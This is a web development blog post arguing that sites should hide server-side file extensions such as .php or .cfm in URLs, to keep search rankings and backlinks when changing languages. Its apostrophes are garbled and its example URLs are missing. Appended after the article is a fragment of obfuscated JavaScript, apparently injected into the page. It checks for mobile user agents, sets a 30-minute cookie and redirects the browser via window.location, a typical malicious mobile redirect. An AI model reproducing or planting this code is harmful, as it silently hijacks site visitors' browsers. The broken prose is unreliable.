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Why you shouldna��t flaunt the scripting language used for developing your website

On daily basis we come across URLs that end with the .php, .asp, .cfm and .aspx file extensions. Apparently these indicate that the associated web pages were developed using PHP, ASP and ColdFusion scripting languages, and ASP.NET framework respectively. While having these file extensions do not negatively impact the functionality of websites, web development experts have plausible reasons to believe ita��s a wrong approach. As follows are the reasons why ita��s recommended not to flaunt the server-side scripting language that powers your website:

Server-side Scripting Languages

Change to another language: You can decide to change to another scripting language at a later time. Leta��s say your original website was designed with ColdFusion and it has URLs that end with the .cfm file extension. And now you want to change to PHP, which means your new files will have the .php extension. This would be like creating a new website and it would take time for search engines to discover the new URLs, crawl, index and rank them. If thata��s a business website, be aware that your old SERP ranking for certain keywords would drop.

Loss of backlinks: When you change from one file extension to another, youa��d most likely lose lots of backlinks pointing to the old URLs of your website. Therea��s no way you can contact all the content authors that link to your site and ask them to modify the links. So, ita��s always a good web development principle to hide the technology that powers your website.

For your online business to succeed for a long time, ita��s important to have consistent URLs. We recommend you hide the file extension. For example, instead of having, we have As you can see, regardless of the scripting language we change to in the future, we would always have as our URL. 1|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


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